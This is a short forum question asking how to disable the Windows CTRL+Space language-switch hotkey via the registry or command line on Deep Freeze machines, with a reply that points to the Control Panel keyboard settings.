I've made a script that will customize the computer I'm using (because so many settings they use are messed up), so I'm looking for a way to do this in the registry or the command line, rather than the control panel. To make things more interesting, these computers have Deep Freeze on them, so any changes made to them do not stick around after rebooting the machine.

Short version:
Does anyone know of a way to disable the CTRL+Space hotkey (or muti-language input in general) via command line or the registry that does not require a reboot?

Thanks in advance!

A:Disabling language switch hotkey "CTRL+Space"?

Open Control Panel, then go to Region and Language. Click on the tab Keyboards and Languages. Click on the Change keyboards button, and go to the Advanced Key Settings. That's where the shortcuts for switching langauges are defined.

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